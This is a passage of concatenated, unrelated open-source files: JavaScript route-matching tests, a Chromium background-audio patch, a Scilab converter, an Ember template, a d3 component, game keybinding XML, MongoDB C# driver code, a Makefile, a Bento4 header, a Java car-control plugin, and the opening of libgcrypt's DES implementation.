'test'); }); it('should match text after an express param', function () { var params = []; var re = pathToRegExp('/(:test)route', params); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); m = re.exec('/route'); assert.ok(!m); m = re.exec('/testroute'); assert.equal(m.length, 2); assert.equal(m[0], '/testroute'); assert.equal(m[1], 'test'); m = re.exec('testroute'); assert.ok(!m); }); it('should match text after an optional express param', function () { var params = []; var re = pathToRegExp('/(:test?)route', params); var m; assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, true); m = re.exec('/route'); assert.equal(m.length, 2); assert.equal(m[0], '/route'); assert.equal(m[1], undefined); m = re.exec('/testroute'); assert.equal(m.length, 2); assert.equal(m[0], '/testroute'); assert.equal(m[1], 'test'); m = re.exec('route'); assert.ok(!m); }); it('should match optional formats', function () { var params = []; var re = pathToRegExp('/:test.:format?', params); var m; assert.equal(params.length, 2); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(params[1].name, 'format'); assert.equal(params[1].optional, true); m = re.exec('/route'); assert.equal(m.length, 3); assert.equal(m[0], '/route'); assert.equal(m[1], 'route'); assert.equal(m[2], undefined); m = re.exec('/route.json'); assert.equal(m.length, 3); assert.equal(m[0], '/route.json'); assert.equal(m[1], 'route'); assert.equal(m[2], 'json'); }); it('should match full paths with format by default', function () { var params = []; var m = pathToRegExp('/:test', params).exec('/test.json'); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(m.length, 2); assert.equal(m[0], '/test.json'); assert.equal(m[1], 'test.json'); }); }); describe('regexps', function () { it('should return the regexp', function () { assert.deepEqual(pathToRegExp(/.*/), /.*/); }); }); describe('arrays', function () { it('should join arrays parts', function () { var re = pathToRegExp(['/test', '/route']); assert.ok(re.exec('/test')); assert.ok(re.exec('/route')); assert.ok(!re.exec('/else')); }); }); });
{ "pile_set_name": "Github" }
From: AlexeyBarabash <[email protected]> Date: Thu, 2 Nov 2017 18:21:16 +0200 Subject: Allow playing audio in background --- media/blink/webmediaplayer_impl.cc | 12 +++++++++++- media/blink/webmediaplayer_impl.h | 2 ++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/media/blink/webmediaplayer_impl.cc b/media/blink/webmediaplayer_impl.cc --- a/media/blink/webmediaplayer_impl.cc +++ b/media/blink/webmediaplayer_impl.cc @@ -1053,6 +1053,12 @@ bool WebMediaPlayerImpl::HasAudio() const { return pipeline_metadata_.has_audio; } +bool WebMediaPlayerImpl::HasVideoNonEmptySize() const { + DCHECK(main_task_runner_->BelongsToCurrentThread()); + + return pipeline_metadata_.has_video && pipeline_metadata_.natural_size.width() != 0 && pipeline_metadata_.natural_size.height() != 0; +} + void WebMediaPlayerImpl::EnabledAudioTracksChanged( const blink::WebVector<blink::WebMediaPlayer::TrackId>& enabledTrackIds) { DCHECK(main_task_runner_->BelongsToCurrentThread()); @@ -3469,7 +3475,11 @@ bool WebMediaPlayerImpl::ShouldPausePlaybackWhenHidden() const { // Audio only stream is allowed to play when in background. // TODO: We should check IsBackgroundOptimizationCandidate here. But we need // to move the logic of checking video frames out of that function. - if (!HasVideo()) + + //pipeline_metadata_.has_video is true for MediaPlayerRenderer, + //see media/base/pipeline_metadata.h. This is a workaround to allow audio + //streams be played in background. + if (!HasVideoNonEmptySize()) return false; if (using_media_player_renderer_ && diff --git a/media/blink/webmediaplayer_impl.h b/media/blink/webmediaplayer_impl.h --- a/media/blink/webmediaplayer_impl.h +++ b/media/blink/webmediaplayer_impl.h @@ -153,6 +153,8 @@ class MEDIA_BLINK_EXPORT WebMediaPlayerImpl // True if the loaded media has a playable video/audio track. bool HasVideo() const override; bool HasAudio() const override; + // True is has video and it's frame size is not zero + bool HasVideoNonEmptySize() const; void EnabledAudioTracksChanged( const blink::WebVector<blink::WebMediaPlayer::TrackId>& enabledTrackIds) -- 2.17.1
{ "pile_set_name": "Github" }
// Scilab ( http://www.scilab.org/ ) - This file is part of Scilab // Copyright (C) 2002-2004 - INRIA - Vincent COUVERT // // Copyright (C) 2012 - 2016 - Scilab Enterprises // // This file is hereby licensed under the terms of the GNU GPL v2.0, // pursuant to article 5.3.4 of the CeCILL v.2.1. // This file was originally licensed under the terms of the CeCILL v2.1, // and continues to be available under such terms. // For more information, see the COPYING file which you should have received // along with this program. function [tree]=sci_isunix(tree) // M2SCI function // Conversion function for Matlab isunix() // Input: tree = Matlab funcall tree // Ouput: tree = Scilab equivalent for tree tree=Operation("~",list(Variable("MSDOS",Infer(list(1,1),Type(Boolean,Real)))),tree.lhs) tree.out(1).dims=list(1,1) tree.out(1).type=Type(Boolean,Real) endfunction
{ "pile_set_name": "Github" }
{{#view "form-fields/form-section" appearsOnStatementAsLabelText=view.appearsOnStatementAsLabelText appearsOnStatementAsMaxLength=view.appearsOnStatementAsMaxLength debitableBankAccounts=view.debitableBankAccounts model=view.model sectionTitle="Payment information"}} {{#if view.debitableBankAccounts}} {{view "form-fields/select-form-field" model=view.model content=view.debitableBankAccounts value=view.model.source labelText="Account number" optionValuePath="content" optionLabelPath="content.description_with_type" name="source" field="source" }} {{view "form-fields/static-text-form-field" value=view.model.source.name labelText="Name on account" }} {{view "form-fields/static-text-form-field" value=view.model.source.formatted_bank_name labelText="Bank" }} {{else}} <div class="form-group"> <p>You don't have any verified bank accounts to add funds.</p> </div> {{/if}} {{view "form-fields/amount-form-field" model=view.model labelText="Amount" field="dollar_amount" }} {{view "form-fields/text-form-field" model=view.model labelText=view.appearsOnStatementAsLabelText field="appears_on_statement_as" inputClassNames="full" maxlength=view.appearsOnStatementAsMaxLength }} {{view "form-fields/text-form-field" model=view.model labelText="Internal description" inputClassNames="full" field="description" }} {{/view}} {{#view "form-fields/form-section" sectionTitle="Note"}} <div class="form-group"> <p>Funds will appear in your balance in 3-5 business days.</p> </div> {{/view}}
{ "pile_set_name": "Github" }
import Component from '../base' import default_parser from '../../default_parser.js' import { required } from '../../validators' /** * A Component to contain the dashboard. * @module components/root * @param args Component arguments * @param args.title Document title (`<title>`) * @returns {function} * * @example <caption>YAML format</caption> * dashboard "Hello World": * ... * * @example <caption>JSON format</caption> * { * "component": "root", * "args": {"title": "Hello World"}, * "data": [...] * } * * @example <caption>JavaScript format</caption> * import RootComponent from 'components/root' * * RootComponent({'title': 'Hello World'})(d3.selection())(...) * */ const RootComponent = Component({ 'validators': [required('title')], 'init': (args, selection) => {selection.select('title').text(args.title)}, 'render': (args, selection, data) => { const body = selection.select('body') body.selectAll('*').remove() // "unsubscribe" the elements we've just removed if (args.state_handler) args.state_handler.reset() if (data instanceof Array) data.map((definition) => { const updated_definition = Object.assign({'args': {}}, definition) updated_definition.args.state_handler = args.state_handler updated_definition.args.file_loader = args.file_loader default_parser(updated_definition)(body.append('div') .attr('class', 'ds--wrapper')) }) } }) export default RootComponent
{ "pile_set_name": "Github" }
<Bindings> <!-- Commentator Bindings --> <Binding name="COMMENTATORRESET" category="BINDING_HEADER_COMMENTATOR"> Commentator:Reset(); </Binding> <Binding name="COMMENTATORMOVESPEEDINCREASE" header="COMMENTATORCAMERA" category="BINDING_HEADER_COMMENTATOR"> Commentator:ModifyCameraSpeed(1); </Binding> <Binding name="COMMENTATORMOVESPEEDDECREASE" category="BINDING_HEADER_COMMENTATOR"> Commentator:ModifyCameraSpeed(-1); </Binding> <Binding name="COMMENTATORZOOMIN" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.ZoomIn(); </Binding> <Binding name="COMMENTATORZOOMOUT" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.ZoomOut(); </Binding> <Binding name="COMMENTATORRESETZOOM" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.ResetFoVTarget(); </Binding> <Binding name="TOGGLE_SMART_CAMERA" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.SetUseSmartCamera(not C_Commentator.IsUsingSmartCamera()); </Binding> <Binding name="TOGGLE_SMART_CAMERA_LOCK" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.SetSmartCameraLocked(not C_Commentator.IsSmartCameraLocked()); </Binding>> <Binding name="COMMENTATORLOOKATNONE" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.ClearCameraTarget(); </Binding> <Binding name="CYCLEFOLLOWTRANSITONSPEED" category="BINDING_HEADER_COMMENTATOR"> CycleFollowCameraTransitionPreset(); </Binding> <Binding name="FORCEFOLLOWTRANSITON" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.ForceFollowTransition(); </Binding> <Binding name="TOGGLESMOOTHFOLLOWTRANSITIONS" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.SetSmoothFollowTransitioning(not C_Commentator.GetSmoothFollowTransitioning()); </Binding> <Binding name="TOGGLECAMERACOLLISION" category="BINDING_HEADER_COMMENTATOR"> C_Commentator.SetCameraCollision(not C_Commentator.GetCameraCollision()); </Binding> <Binding name="TEAM_1_ADD_SCORE" header="COMMENTATORSCORING" category="BINDING_HEADER_COMMENTATOR"> Commentator.Scoreboard:AddScore(1) </Binding> <Binding name="TEAM_2_ADD_SCORE" category="BINDING_HEADER_COMMENTATOR"> Commentator.Scoreboard:AddScore(2) </Binding> <Binding name="TEAM_1_REMOVE_SCORE" category="BINDING_HEADER_COMMENTATOR"> Commentator.Scoreboard:RemoveScore(1) </Binding> <Binding name="TEAM_2_REMOVE_SCORE" category="BINDING_HEADER_COMMENTATOR"> Commentator.Scoreboard:RemoveScore(2) </Binding> <Binding name="RESET_SCORE_COUNT" category="BINDING_HEADER_COMMENTATOR"> Commentator.Scoreboard:ResetScores() </Binding> <Binding name="SWAPUNITFRAMES" category="BINDING_HEADER_COMMENTATOR"> Commentator:SwapTeams(); </Binding> <Binding name="CHECK_FOR_SCOREBOARD" category="BINDING_HEADER_COMMENTATOR"> Commentator:CheckScoreboard(); </Binding> <Binding name="TOGGLE_FRAME_LOCK" category="BINDING_HEADER_COMMENTATOR"> Commentator:ToggleFrameLock(); </Binding> <Binding name="COMMENTATORFOLLOW1" header="COMMENTATORFOLLOW" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 1, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW2" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 2, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW3" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 3, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW4" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 4, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW5" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 5, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW6" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 6, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW7" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 1, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW8" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 2, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW9" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 3, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW10" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 4, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW11" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 5, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW12" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 6, TOURNAMENT_OBSERVE_PLAYER_PRIMARY); </Binding> <Binding name="COMMENTATORFOLLOW1SNAP" header="COMMENTATORFOLLOWSNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 1, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW2SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 2, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW3SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 3, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW4SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 4, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW5SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 5, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW6SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 6, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW7SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 1, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW8SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 2, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW9SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 3, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW10SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 4, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW11SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 5, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORFOLLOW12SNAP" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 6, TOURNAMENT_OBSERVE_PLAYER_PRIMARY_SNAP); </Binding> <Binding name="COMMENTATORLOOKAT1" header="COMMENTATORLOOKAT" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 1, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT2" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 2, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT3" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 3, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT4" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 4, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT5" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 5, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT6" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(1, 6, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT7" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 1, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT8" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 2, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT9" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 3, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT10" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 4, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT11" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 5, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> <Binding name="COMMENTATORLOOKAT12" category="BINDING_HEADER_COMMENTATOR"> Commentator:ObservePlayer(2, 6, TOURNAMENT_OBSERVE_PLAYER_SECONDARY); </Binding> </Bindings>
{ "pile_set_name": "Github" }
/* Copyright 2010-present MongoDB Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System; using System.Collections.Generic; using System.Linq; using MongoDB.Bson; using MongoDB.Driver.Core.Connections; using MongoDB.Driver.Core.Misc; namespace MongoDB.Driver.Core.Operations { internal class BulkWriteOperationResultConverter { // constructors public BulkWriteOperationResultConverter() { } // public methods public Exception ToWriteConcernException(ConnectionId connectionId, MongoBulkWriteOperationException bulkWriteException) { var writeConcernResult = ToWriteConcernResult(bulkWriteException.Result, bulkWriteException); var exception = ExceptionMapper.Map(connectionId, writeConcernResult.Response); if (exception == null) { exception = ExceptionMapper.Map(connectionId, writeConcernResult); } if (exception == null) { exception = new MongoWriteConcernException(connectionId, bulkWriteException.Message, writeConcernResult); } var writeConcernException = exception as MongoWriteConcernException; if (writeConcernException != null) { writeConcernException.Data["results"] = new List<WriteConcernResult>(new[] { writeConcernResult }); } return exception; // usually a WriteConcernException unless ExceptionMapper chose a different type } public WriteConcernResult ToWriteConcernResult(BulkWriteOperationResult bulkWriteResult) { return ToWriteConcernResult(bulkWriteResult, null); } // private methods private WriteConcernResult ToWriteConcernResult(BulkWriteOperationResult bulkWriteResult, MongoBulkWriteOperationException bulkWriteException) { if (!bulkWriteResult.IsAcknowledged) { return null; } // don't include InsertedCount in getLastErrorResponse var documentsAffectedCount = bulkWriteResult.DeletedCount + bulkWriteResult.MatchedCount + bulkWriteResult.Upserts.Count; var isUpdate = bulkWriteResult.ProcessedRequests.Any(r => r.RequestType == WriteRequestType.Update); var updatedExisting = false; BulkWriteOperationUpsert upsert = null; if (isUpdate) { upsert = bulkWriteResult.Upserts.LastOrDefault(); updatedExisting = documentsAffectedCount > 0 && upsert == null; } var code = 0; string message = null; BsonDocument details = null; if (bulkWriteException != null) { var lastWriteError = bulkWriteException.WriteErrors.LastOrDefault(); var writeConcernError = bulkWriteException.WriteConcernError; code = 8; // UnknownError if (lastWriteError != null) { code = lastWriteError.Code; message = lastWriteError.Message; details = lastWriteError.Details; } else if (writeConcernError != null) { code = writeConcernError.Code; message = writeConcernError.Message; details = writeConcernError.Details; } } var getLastErrorResponse = new BsonDocument { { "ok", 1 }, { "code", code, code != 0 }, { "err", message, message != null }, { "n", documentsAffectedCount }, { "updatedExisting", updatedExisting, isUpdate }, { "upserted", () => upsert.Id, isUpdate && upsert != null }, }; if (details != null) { getLastErrorResponse.Merge(details, false); // don't overwrite existing elements } return new WriteConcernResult(getLastErrorResponse); } } }
{ "pile_set_name": "Github" }
# # misc test suite Makefile. # # Copyright (C) 2009, Cisco Systems Inc. # Copyright (C) 2010, Linux Test Project. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # Ngie Cooper, July 2009 # top_srcdir ?= ../.. include $(top_srcdir)/include/mk/env_pre.mk include $(top_srcdir)/include/mk/generic_trunk_target.mk
{ "pile_set_name": "Github" }
/***************************************************************** | | AP4 - odda Atom | | Copyright 2002-2008 Axiomatic Systems, LLC | | | This file is part of Bento4/AP4 (MP4 Atom Processing Library). | | Unless you have obtained Bento4 under a difference license, | this version of Bento4 is Bento4|GPL. | Bento4|GPL is free software; you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free Software Foundation; either version 2, or (at your option) | any later version. | | Bento4|GPL is distributed in the hope that it will be useful, | but WITHOUT ANY WARRANTY; without even the implied warranty of | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | GNU General Public License for more details. | | You should have received a copy of the GNU General Public License | along with Bento4|GPL; see the file COPYING. If not, write to the | Free Software Foundation, 59 Temple Place - Suite 330, Boston, MA | 02111-1307, USA. | ****************************************************************/ #ifndef _AP4_ODDA_ATOM_H_ #define _AP4_ODDA_ATOM_H_ /*---------------------------------------------------------------------- | includes +---------------------------------------------------------------------*/ #include "Ap4Types.h" #include "Ap4Atom.h" #include "Ap4String.h" /*---------------------------------------------------------------------- | AP4_OddaAtom +---------------------------------------------------------------------*/ class AP4_OddaAtom : public AP4_Atom { public: AP4_IMPLEMENT_DYNAMIC_CAST_D(AP4_OddaAtom, AP4_Atom) // class methods static AP4_OddaAtom* Create(AP4_UI64 size, AP4_ByteStream& stream); // constructor AP4_OddaAtom(AP4_ByteStream& encrypted_payload); // destructor ~AP4_OddaAtom(); // methods virtual AP4_Result InspectFields(AP4_AtomInspector& inspector); virtual AP4_Result WriteFields(AP4_ByteStream& stream); // accessors AP4_UI64 GetEncryptedDataLength() { return m_EncryptedDataLength; } /** * Sets the encrypted payload stream (and releases any existing stream references) */ AP4_Result SetEncryptedPayload(AP4_ByteStream& stream); AP4_Result SetEncryptedPayload(AP4_ByteStream& stream, AP4_LargeSize length); /** * Returns a reference to the encrypted payload stream (does not increment the reference counter) */ AP4_ByteStream& GetEncryptedPayload() { return *m_EncryptedPayload; } private: // methods AP4_OddaAtom(AP4_UI64 size, AP4_UI08 version, AP4_UI32 flags, AP4_ByteStream& stream); // members AP4_UI64 m_EncryptedDataLength; AP4_ByteStream* m_EncryptedPayload; }; #endif // _AP4_ODDA_ATOM_H_
{ "pile_set_name": "Github" }
package plugins; import java.io.IOException; import com.sun.squawk.VM; import sics.port.PluginPPort; import sics.port.PluginRPort; import sics.plugin.PlugInComponent; public class Square extends PlugInComponent { private PluginPPort pub, sp, st, led; private PluginRPort ab, w1, w2, adc, sub; public Square(String[] args) { super(args); } public static void main(String[] args) { VM.println("Square.main()"); Square publish = new Square(args); publish.run(); VM.println("Square-main done"); } @Override public void init() { // Initiate PluginPPort pub = new PluginPPort(this, "pub"); sp = new PluginPPort(this, "sp"); st = new PluginPPort(this, "st"); led = new PluginPPort(this, "led"); w1 = new PluginRPort(this, "w1"); w2 = new PluginRPort(this, "w2"); adc = new PluginRPort(this, "adc"); sub = new PluginRPort(this, "sub"); ab = new PluginRPort(this, "ab"); } public void run() { init(); try { doFunction(); } catch (InterruptedException e) { VM.println("**************** Interrupted."); return; } } public void doFunction() throws InterruptedException { String data; int cnt = 0; int lcnt = 0; VM.println("[Square is running]"); int speed; int speed0 = 14; int state = 1; String val1, val2; int val, val3, val4; int mindist = 30000; int startdist = -1; int prevdist = -1; while (true) { if (state == 1) { speed = speed0; sp.write(0); st.write(0); Thread.sleep(500); sp.write(speed); st.write(100); Thread.sleep(500); startdist = -1; mindist = 30000; lcnt = 0; Object o6 = ab.receive(); String val6 = ""; if (o6 != null) { val6 = (String) o6; startdist = Integer.parseInt(val6); state = 3; } pub.write("Square|new state " + state); } else if (state == 3) { // The car moves in a circle, and we are interested in the // part of the path that is closest to the wall. // This is the part closer than the distance when we enter // state 3 (origdist). // When we enter this part, we expect the distance to sink // until it either grows again, or becomes unknown (the latter // seems to be the rule). // Generally, we treat unknown distance (null returned from // the port) as infinity, and represent it as -1. // It may happen that it means that a point was missed, // and then should instead be ignored, but we don't handle // this situation. // When sampling distance rapidly, it could happen that noise // makes the change of distance non-monotonic. We don't handle // that. Some kind of low-pass filter is wanted then. int dist; cnt += 1; lcnt += 1; java.util.Date date = new java.util.Date(); val1 = "" + date.getTime(); // w1 = front wheel val3 = w1.readInt(); val4 = w2.readInt(); String closest = ""; Object o6 = ab.receive(); String val6 = ""; if (o6 != null) { val6 = (String) o6; dist = Integer.parseInt(val6); } else { dist = -1; } if (dist != -1 && dist < mindist) { mindist = dist; } if (prevdist != -1 && prevdist < startdist && dist == -1) { closest = "closest"; } prevdist = dist; data = val1 + " " + val3 + " " + val4 + " " + val6 + " state" + state + " mindist=" + mindist + " startdist=" + startdist + " prevdist=" + prevdist + " lcnt=" + lcnt + " " + closest; VM.println(data); data = "Square|" + cnt + " " + data; VM.println(data); pub.write(data); Thread.sleep(300); if (val4-val3 > 12 || val4-val3 < -12 || val3 == 0) { // not on the floor, or ESC not reacting because it wasn't // initialized: turn off motor and restart the app led.write("1|0"); led.write("2|0"); led.write("3|0"); sp.write(0); st.write(0); Thread.sleep(5000); state = 1; } } } } }
{ "pile_set_name": "Github" }
/* des.c - DES and Triple-DES encryption/decryption Algorithm * Copyright (C) 1998, 1999, 2001, 2002, 2003, * 2008 Free Software Foundation, Inc. * * This file is part of Libgcrypt. * * Libgcrypt is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser general Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * Libgcrypt is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA * * For a description of triple encryption, see: * Bruce Schneier: Applied Cryptography. Second Edition. * John Wiley & Sons, 1996. ISBN 0-471-12845-7. Pages 358 ff. * This implementation is according to the definition of DES in FIPS * PUB 46-2 from December 1993. */ /* * Written by Michael Roth <[email protected]>, September 1998 */ /* * U S A G E * =========== * * For DES or Triple-DES encryption/decryption you must initialize a proper * encryption context with a key. * * A DES key is 64bit wide but only 56bits of the key are used. The remaining * bits are parity bits and they will _not_ checked in this implementation, but * simply ignored. * * For Triple-DES you could use either two 64bit keys or three 64bit keys. * The parity bits will _not_ checked, too. * * After initializing a context with a key you could use this context to * encrypt or decrypt data in 64bit blocks in Electronic Codebook Mode. * * (In the examples below the slashes at the beginning and ending of comments * are omited.) * * DES Example * ----------- * unsigned char key[8]; * unsigned char plaintext[8]; * unsigned char ciphertext[8]; * unsigned char recoverd[8]; * des_ctx context; * * * Fill 'key' and 'plaintext' with some data * * .... * * * Set up the DES encryption context * * des_setkey(context, key); * * * Encrypt the plaintext * * des_ecb_encrypt(context, plaintext, ciphertext); * * * To recover the orginal plaintext from ciphertext use: * * des_ecb_decrypt(context, ciphertext, recoverd); * * * Triple-DES Example * ------------------ * unsigned char key1[8]; * unsigned char key2[8]; * unsigned char key3[8]; * unsigned char plaintext[8]; * unsigned char ciphertext[8]; * unsigned char recoverd[8]; * tripledes_ctx context; * * * If you would like to use two 64bit keys, fill 'key1' and'key2' * then setup the encryption context: * * tripledes_set2keys(context, key1, key2); * * * To use three 64bit keys with Triple-DES use: * * tripledes_set3keys(context, key1, key2, key3); * * * Encrypting plaintext with Triple-DES * * tripledes_ecb_encrypt(context, plaintext, ciphertext); * * * Decrypting ciphertext to recover the plaintext with Triple-DES * * tripledes_ecb_decrypt(context, ciphertext, recoverd); * * * Selftest * -------- * char *error_msg; * * * To perform a selftest of this DES/Triple-DES implementation use the * function selftest(). It will return an error string if there are * some problems with this library. * * * if ( (error_msg = selftest()) ) * { * fprintf(stderr, "An error in the DES/Triple-DES implementation occurred: %s\n", error_msg); * abort(); * } */ #include <config.h> #include <stdio.h> #include <string.h> /* memcpy, memcmp */ #include "types.h" /* for byte and u32 typedefs */ #include "g10lib.h" #include "cipher.h" #if defined(__GNUC__) && defined(__GNU_LIBRARY__) #define working_memcmp memcmp #else /* * According to the SunOS man page, memcmp returns indeterminate sign * depending on whether characters are signed or not. */ static int working_memcmp( const char *a, const char *b, size_t n ) { for( ; n; n--, a++, b++ ) if( *a != *b ) return (int)(*(byte*)a) - (int)(*(byte*)b); return 0; } #endif /* * Encryption/Decryption context of DES */ typedef struct _des_ctx { u32 encrypt_subkeys[32]; u32 decrypt_subkeys[32]; } des_ctx[1]; /* * Encryption/Decryption context of Triple-DES */ typedef struct _tripledes_ctx { u32 encrypt_subkeys[96]; u32 decrypt_subkeys[96]; struct { int no_weak_key; } flags; } tripledes_ctx[1]; static void des_key_schedule (const byte *, u32 *); static int des_setkey (struct _des_ctx *, const byte *); static int des_ecb_crypt (struct _des_ctx *, const byte *, byte *, int); static int tripledes_set2keys (struct _tripledes_ctx *, const byte *, const byte *); static int tripledes_set3keys (struct _tripledes_ctx *, const byte *, const byte *, const byte *); static int tripledes_ecb_crypt (struct _tripledes_ctx *, const byte *, 